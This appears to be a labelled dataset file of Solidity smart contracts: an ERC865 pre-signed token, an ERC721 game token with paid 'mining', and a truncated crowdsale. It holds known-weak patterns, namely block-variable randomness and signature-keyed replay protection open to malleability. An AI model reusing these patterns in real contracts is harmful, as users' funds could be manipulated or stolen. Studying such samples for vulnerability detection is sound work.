returns (bool)
{
require(_spender != address(0), "Spender address is not provided");
require(signatures[_signature] == false, "No Signature");
bytes32 hashedTx = increaseApprovalPreSignedHashing(address(this), _spender, _addedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0), "From address is not provided");
allowed[from][_spender] = allowed[from][_spender].add(_addedValue);
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
emit Approval(from, _spender, allowed[from][_spender]);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
function decreaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0), "Spender address is not provided");
require(signatures[_signature] == false, "No sognature");
bytes32 hashedTx = decreaseApprovalPreSignedHashing(address(this), _spender, _subtractedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0), "From address is not provided");
uint oldValue = allowed[from][_spender];
if (_subtractedValue > oldValue) {
allowed[from][_spender] = 0;
} else {
allowed[from][_spender] = oldValue.sub(_subtractedValue);
}
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
emit Approval(from, _spender, _subtractedValue);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0), "No [to] address provided");
require(signatures[_signature] == false, "No signature provided");
bytes32 hashedTx = transferFromPreSignedHashing(address(this), _from, _to, _value, _fee, _nonce);
address spender = recover(hashedTx, _signature);
require(spender != address(0), "Spender address is not provided");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][spender] = allowed[_from][spender].sub(_value);
balances[spender] = balances[spender].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
emit Transfer(_from, _to, _value);
emit Transfer(spender, msg.sender, _fee);
return true;
}
function transferPreSignedHashing(
address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x48664c16), _token, _to, _value, _fee, _nonce));
}
function approvePreSignedHashing(
address _token,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0xf7ac9c2e), _token, _spender, _value, _fee, _nonce));
}
function increaseApprovalPreSignedHashing(
address _token,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0xa45f71ff), _token, _spender, _addedValue, _fee, _nonce));
}
function decreaseApprovalPreSignedHashing(
address _token,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x59388d78), _token, _spender, _subtractedValue, _fee, _nonce));
}
function transferFromPreSignedHashing(
address _token,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0xb7656dc5), _token, _from, _to, _value, _fee, _nonce));
}
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract KittiefightToken is ERC865Token, PausableToken, MintableToken {
string public constant symbol = "KTY";
string public constant name = "Kittiefight Token";
uint8 public constant decimals = 18;
uint256 public constant amountOfTokenToMint = 10**8 * 10**uint256(decimals);
bool public isTransferWhitelistOnly = false;
mapping (address => bool) transfersWhitelist;
event UserAllowedToTransfer(address user);
event TransferWhitelistOnly(bool flag);
function isUserAllowedToTransfer(address _user) public constant returns (bool) {
require(_user != 0x0);
return transfersWhitelist[_user];
}
function setWhitelistedOnly(bool _isWhitelistOnly) onlyOwner public {
if (isTransferWhitelistOnly != _isWhitelistOnly) {
isTransferWhitelistOnly = _isWhitelistOnly;
TransferWhitelistOnly(_isWhitelistOnly);
}
}
function whitelistUserForTransfers(address _user) onlyOwner public {
require(!isUserAllowedToTransfer(_user));
transfersWhitelist[_user] = true;
UserAllowedToTransfer(_user);
}
function blacklistUserForTransfers(address _user) onlyOwner public {
require(isUserAllowedToTransfer(_user));
transfersWhitelist[_user] = false;
UserAllowedToTransfer(_user);
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (isTransferWhitelistOnly) {
require(isUserAllowedToTransfer(msg.sender));
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (isTransferWhitelistOnly) {
require(isUserAllowedToTransfer(_from));
}
return super.transferFrom(_from, _to, _value);
}
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
whenNotPaused
public
returns (bool)
{
if (isTransferWhitelistOnly) {
bytes32 hashedTx = super.transferPreSignedHashing(address(this), _to, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(isUserAllowedToTransfer(from));
}
return super.transferPreSigned(_signature, _to, _value, _fee, _nonce);
}
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
whenNotPaused
public
returns (bool)
{
if (isTransferWhitelistOnly) {
bytes32 hashedTx = super.approvePreSignedHashing(address(this), _spender, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(isUserAllowedToTransfer(from));
}
return super.approvePreSigned(_signature, _spender, _value, _fee, _nonce);
}
} | 1 | 3,013 |
pragma solidity ^0.4.20;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
function AccessAdmin() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
function withdraw(address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
uint256 balance = this.balance;
if (_amount < balance) {
receiver.transfer(_amount);
} else {
receiver.transfer(this.balance);
}
}
}
interface IDataMining {
function getRecommender(address _target) external view returns(address);
function subFreeMineral(address _target) external returns(bool);
}
interface IDataEquip {
function isEquiped(address _target, uint256 _tokenId) external view returns(bool);
function isEquipedAny2(address _target, uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isEquipedAny3(address _target, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
contract Random {
uint256 _seed;
function _rand() internal returns (uint256) {
_seed = uint256(keccak256(_seed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
return _seed;
}
function _randBySeed(uint256 _outSeed) internal view returns (uint256) {
return uint256(keccak256(_outSeed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract WarToken is ERC721, AccessAdmin {
struct Fashion {
uint16 protoId;
uint16 quality;
uint16 pos;
uint16 health;
uint16 atkMin;
uint16 atkMax;
uint16 defence;
uint16 crit;
uint16 isPercent;
uint16 attrExt1;
uint16 attrExt2;
uint16 attrExt3;
}
Fashion[] public fashionArray;
uint256 destroyFashionCount;
mapping (uint256 => address) fashionIdToOwner;
mapping (address => uint256[]) ownerToFashionArray;
mapping (uint256 => uint256) fashionIdToOwnerIndex;
mapping (uint256 => address) fashionIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event CreateFashion(address indexed owner, uint256 tokenId, uint16 protoId, uint16 quality, uint16 pos, uint16 createType);
event ChangeFashion(address indexed owner, uint256 tokenId, uint16 changeType);
event DeleteFashion(address indexed owner, uint256 tokenId, uint16 deleteType);
function WarToken() public {
addrAdmin = msg.sender;
fashionArray.length += 1;
}
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
require(fashionIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = fashionIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == fashionIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
function name() public pure returns(string) {
return "WAR Token";
}
function symbol() public pure returns(string) {
return "WAR";
}
function balanceOf(address _owner) external view returns(uint256) {
require(_owner != address(0));
return ownerToFashionArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
return fashionIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
fashionIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return fashionIdToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return fashionArray.length - destroyFashionCount - 1;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
if (fashionIdToApprovals[_tokenId] != address(0)) {
delete fashionIdToApprovals[_tokenId];
}
}
fashionIdToOwner[_tokenId] = _to;
ownerToFashionArray[_to].push(_tokenId);
fashionIdToOwnerIndex[_tokenId] = ownerToFashionArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function createFashion(address _owner, uint16[9] _attrs, uint16 _createType)
external
whenNotPaused
returns(uint256)
{
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newFashionId = fashionArray.length;
require(newFashionId < 4294967296);
fashionArray.length += 1;
Fashion storage fs = fashionArray[newFashionId];
fs.protoId = _attrs[0];
fs.quality = _attrs[1];
fs.pos = _attrs[2];
if (_attrs[3] != 0) {
fs.health = _attrs[3];
}
if (_attrs[4] != 0) {
fs.atkMin = _attrs[4];
fs.atkMax = _attrs[5];
}
if (_attrs[6] != 0) {
fs.defence = _attrs[6];
}
if (_attrs[7] != 0) {
fs.crit = _attrs[7];
}
if (_attrs[8] != 0) {
fs.isPercent = _attrs[8];
}
_transfer(0, _owner, newFashionId);
CreateFashion(_owner, newFashionId, _attrs[0], _attrs[1], _attrs[2], _createType);
return newFashionId;
}
function _changeAttrByIndex(Fashion storage _fs, uint16 _index, uint16 _val) internal {
if (_index == 3) {
_fs.health = _val;
} else if(_index == 4) {
_fs.atkMin = _val;
} else if(_index == 5) {
_fs.atkMax = _val;
} else if(_index == 6) {
_fs.defence = _val;
} else if(_index == 7) {
_fs.crit = _val;
} else if(_index == 9) {
_fs.attrExt1 = _val;
} else if(_index == 10) {
_fs.attrExt2 = _val;
} else if(_index == 11) {
_fs.attrExt3 = _val;
}
}
function changeFashionAttr(uint256 _tokenId, uint16[4] _idxArray, uint16[4] _params, uint16 _changeType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
Fashion storage fs = fashionArray[_tokenId];
if (_idxArray[0] > 0) {
_changeAttrByIndex(fs, _idxArray[0], _params[0]);
}
if (_idxArray[1] > 0) {
_changeAttrByIndex(fs, _idxArray[1], _params[1]);
}
if (_idxArray[2] > 0) {
_changeAttrByIndex(fs, _idxArray[2], _params[2]);
}
if (_idxArray[3] > 0) {
_changeAttrByIndex(fs, _idxArray[3], _params[3]);
}
ChangeFashion(fashionIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyFashion(uint256 _tokenId, uint16 _deleteType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
address _from = fashionIdToOwner[_tokenId];
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
fashionIdToOwner[_tokenId] = address(0);
delete fashionIdToOwnerIndex[_tokenId];
destroyFashionCount += 1;
Transfer(_from, 0, _tokenId);
DeleteFashion(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getFashion(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[12] datas) {
Fashion storage fs = fashionArray[_tokenId];
datas[0] = fs.protoId;
datas[1] = fs.quality;
datas[2] = fs.pos;
datas[3] = fs.health;
datas[4] = fs.atkMin;
datas[5] = fs.atkMax;
datas[6] = fs.defence;
datas[7] = fs.crit;
datas[8] = fs.isPercent;
datas[9] = fs.attrExt1;
datas[10] = fs.attrExt2;
datas[11] = fs.attrExt3;
}
function getOwnFashions(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage fsArray = ownerToFashionArray[_owner];
uint256 length = fsArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = fsArray[i];
Fashion storage fs = fashionArray[fsArray[i]];
flags[i] = uint32(uint32(fs.protoId) * 100 + uint32(fs.quality) * 10 + fs.pos);
}
}
function getFashionsAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 11);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (fashionIdToOwner[tokenId] != address(0)) {
index = i * 11;
Fashion storage fs = fashionArray[tokenId];
attrs[index] = fs.health;
attrs[index + 1] = fs.atkMin;
attrs[index + 2] = fs.atkMax;
attrs[index + 3] = fs.defence;
attrs[index + 4] = fs.crit;
attrs[index + 5] = fs.isPercent;
attrs[index + 6] = fs.attrExt1;
attrs[index + 7] = fs.attrExt2;
attrs[index + 8] = fs.attrExt3;
}
}
}
}
contract ActionMining is Random, AccessService {
using SafeMath for uint256;
event MiningOrderCreated(uint256 indexed index, address indexed miner, uint64 chestCnt);
event MiningResolved(uint256 indexed index, address indexed miner, uint64 chestCnt);
struct MiningOrder {
address miner;
uint64 chestCnt;
uint64 tmCreate;
uint64 tmResolve;
}
uint16 maxProtoId;
bool isRecommendOpen;
uint256 constant prizePoolPercent = 50;
address poolContract;
WarToken public tokenContract;
IDataMining public dataContract;
MiningOrder[] public ordersArray;
mapping (uint16 => uint256) public protoIdToCount;
function ActionMining(address _nftAddr, uint16 _maxProtoId) public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
tokenContract = WarToken(_nftAddr);
maxProtoId = _maxProtoId;
MiningOrder memory order = MiningOrder(0, 0, 1, 1);
ordersArray.push(order);
}
function() external payable {
}
function getOrderCount() external view returns(uint256) {
return ordersArray.length - 1;
}
function setDataMining(address _addr) external onlyAdmin {
require(_addr != address(0));
dataContract = IDataMining(_addr);
}
function setPrizePool(address _addr) external onlyAdmin {
require(_addr != address(0));
poolContract = _addr;
}
function setMaxProtoId(uint16 _maxProtoId) external onlyAdmin {
require(_maxProtoId > 0 && _maxProtoId < 10000);
require(_maxProtoId != maxProtoId);
maxProtoId = _maxProtoId;
}
function setRecommendStatus(bool _isOpen) external onlyAdmin {
require(_isOpen != isRecommendOpen);
isRecommendOpen = _isOpen;
}
function setFashionSuitCount(uint16 _protoId, uint256 _cnt) external onlyAdmin {
require(_protoId > 0 && _protoId <= maxProtoId);
require(_cnt > 0 && _cnt <= 5);
require(protoIdToCount[_protoId] != _cnt);
protoIdToCount[_protoId] = _cnt;
}
function _getFashionParam(uint256 _seed) internal view returns(uint16[9] attrs) {
uint256 curSeed = _seed;
uint256 rdm = curSeed % 10000;
uint16 qtyParam;
if (rdm < 6900) {
attrs[1] = 1;
qtyParam = 0;
} else if (rdm < 8700) {
attrs[1] = 2;
qtyParam = 1;
} else if (rdm < 9600) {
attrs[1] = 3;
qtyParam = 2;
} else if (rdm < 9900) {
attrs[1] = 4;
qtyParam = 4;
} else {
attrs[1] = 5;
qtyParam = 6;
}
curSeed /= 10000;
rdm = ((curSeed % 10000) / (9999 / maxProtoId)) + 1;
attrs[0] = uint16(rdm <= maxProtoId ? rdm : maxProtoId);
curSeed /= 10000;
uint256 tmpVal = protoIdToCount[attrs[0]];
if (tmpVal == 0) {
tmpVal = 5;
}
rdm = ((curSeed % 10000) / (9999 / tmpVal)) + 1;
uint16 pos = uint16(rdm <= tmpVal ? rdm : tmpVal);
attrs[2] = pos;
rdm = attrs[0] % 3;
curSeed /= 10000;
tmpVal = (curSeed % 10000) % 21 + 90;
if (rdm == 0) {
if (pos == 1) {
uint256 attr = (200 + qtyParam * 200) * tmpVal / 100;
attrs[4] = uint16(attr * 40 / 100);
attrs[5] = uint16(attr * 160 / 100);
} else if (pos == 2) {
attrs[6] = uint16((40 + qtyParam * 40) * tmpVal / 100);
} else if (pos == 3) {
attrs[3] = uint16((600 + qtyParam * 600) * tmpVal / 100);
} else if (pos == 4) {
attrs[6] = uint16((60 + qtyParam * 60) * tmpVal / 100);
} else {
attrs[3] = uint16((400 + qtyParam * 400) * tmpVal / 100);
}
} else if (rdm == 1) {
if (pos == 1) {
uint256 attr2 = (190 + qtyParam * 190) * tmpVal / 100;
attrs[4] = uint16(attr2 * 50 / 100);
attrs[5] = uint16(attr2 * 150 / 100);
} else if (pos == 2) {
attrs[6] = uint16((42 + qtyParam * 42) * tmpVal / 100);
} else if (pos == 3) {
attrs[3] = uint16((630 + qtyParam * 630) * tmpVal / 100);
} else if (pos == 4) {
attrs[6] = uint16((63 + qtyParam * 63) * tmpVal / 100);
} else {
attrs[3] = uint16((420 + qtyParam * 420) * tmpVal / 100);
}
} else {
if (pos == 1) {
uint256 attr3 = (210 + qtyParam * 210) * tmpVal / 100;
attrs[4] = uint16(attr3 * 30 / 100);
attrs[5] = uint16(attr3 * 170 / 100);
} else if (pos == 2) {
attrs[6] = uint16((38 + qtyParam * 38) * tmpVal / 100);
} else if (pos == 3) {
attrs[3] = uint16((570 + qtyParam * 570) * tmpVal / 100);
} else if (pos == 4) {
attrs[6] = uint16((57 + qtyParam * 57) * tmpVal / 100);
} else {
attrs[3] = uint16((380 + qtyParam * 380) * tmpVal / 100);
}
}
attrs[8] = 0;
}
function _addOrder(address _miner, uint64 _chestCnt) internal {
uint64 newOrderId = uint64(ordersArray.length);
ordersArray.length += 1;
MiningOrder storage order = ordersArray[newOrderId];
order.miner = _miner;
order.chestCnt = _chestCnt;
order.tmCreate = uint64(block.timestamp);
MiningOrderCreated(newOrderId, _miner, _chestCnt);
}
function _transferHelper(uint256 ethVal) private {
bool recommenderSended = false;
uint256 fVal;
uint256 pVal;
if (isRecommendOpen) {
address recommender = dataContract.getRecommender(msg.sender);
if (recommender != address(0)) {
uint256 rVal = ethVal.div(10);
fVal = ethVal.sub(rVal).mul(prizePoolPercent).div(100);
addrFinance.transfer(fVal);
recommenderSended = true;
recommender.transfer(rVal);
pVal = ethVal.sub(rVal).sub(fVal);
if (poolContract != address(0) && pVal > 0) {
poolContract.transfer(pVal);
}
}
}
if (!recommenderSended) {
fVal = ethVal.mul(prizePoolPercent).div(100);
pVal = ethVal.sub(fVal);
addrFinance.transfer(fVal);
if (poolContract != address(0) && pVal > 0) {
poolContract.transfer(pVal);
}
}
}
function miningOneFree()
external
whenNotPaused
{
require(dataContract != address(0));
uint256 seed = _rand();
uint16[9] memory attrs = _getFashionParam(seed);
require(dataContract.subFreeMineral(msg.sender));
tokenContract.createFashion(msg.sender, attrs, 3);
MiningResolved(0, msg.sender, 1);
}
function miningOneSelf()
external
payable
whenNotPaused
{
require(msg.value >= 0.01 ether);
uint256 seed = _rand();
uint16[9] memory attrs = _getFashionParam(seed);
tokenContract.createFashion(msg.sender, attrs, 2);
_transferHelper(0.01 ether);
if (msg.value > 0.01 ether) {
msg.sender.transfer(msg.value - 0.01 ether);
}
MiningResolved(0, msg.sender, 1);
}
function miningOne()
external
payable
whenNotPaused
{
require(msg.value >= 0.01 ether);
_addOrder(msg.sender, 1);
_transferHelper(0.01 ether);
if (msg.value > 0.01 ether) {
msg.sender.transfer(msg.value - 0.01 ether);
}
}
function miningThree()
external
payable
whenNotPaused
{
require(msg.value >= 0.03 ether);
_addOrder(msg.sender, 3);
_transferHelper(0.03 ether);
if (msg.value > 0.03 ether) {
msg.sender.transfer(msg.value - 0.03 ether);
}
}
function miningFive()
external
payable
whenNotPaused
{
require(msg.value >= 0.0475 ether);
_addOrder(msg.sender, 5);
_transferHelper(0.0475 ether);
if (msg.value > 0.0475 ether) {
msg.sender.transfer(msg.value - 0.0475 ether);
}
}
function miningTen()
external
payable
whenNotPaused
{
require(msg.value >= 0.09 ether);
_addOrder(msg.sender, 10);
_transferHelper(0.09 ether);
if (msg.value > 0.09 ether) {
msg.sender.transfer(msg.value - 0.09 ether);
}
}
function miningResolve(uint256 _orderIndex, uint256 _seed)
external
onlyService
{
require(_orderIndex > 0 && _orderIndex < ordersArray.length);
MiningOrder storage order = ordersArray[_orderIndex];
require(order.tmResolve == 0);
address miner = order.miner;
require(miner != address(0));
uint64 chestCnt = order.chestCnt;
require(chestCnt >= 1 && chestCnt <= 10);
uint256 rdm = _seed;
uint16[9] memory attrs;
for (uint64 i = 0; i < chestCnt; ++i) {
rdm = _randBySeed(rdm);
attrs = _getFashionParam(rdm);
tokenContract.createFashion(miner, attrs, 2);
}
order.tmResolve = uint64(block.timestamp);
MiningResolved(_orderIndex, miner, chestCnt);
}
} | 0 | 819 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
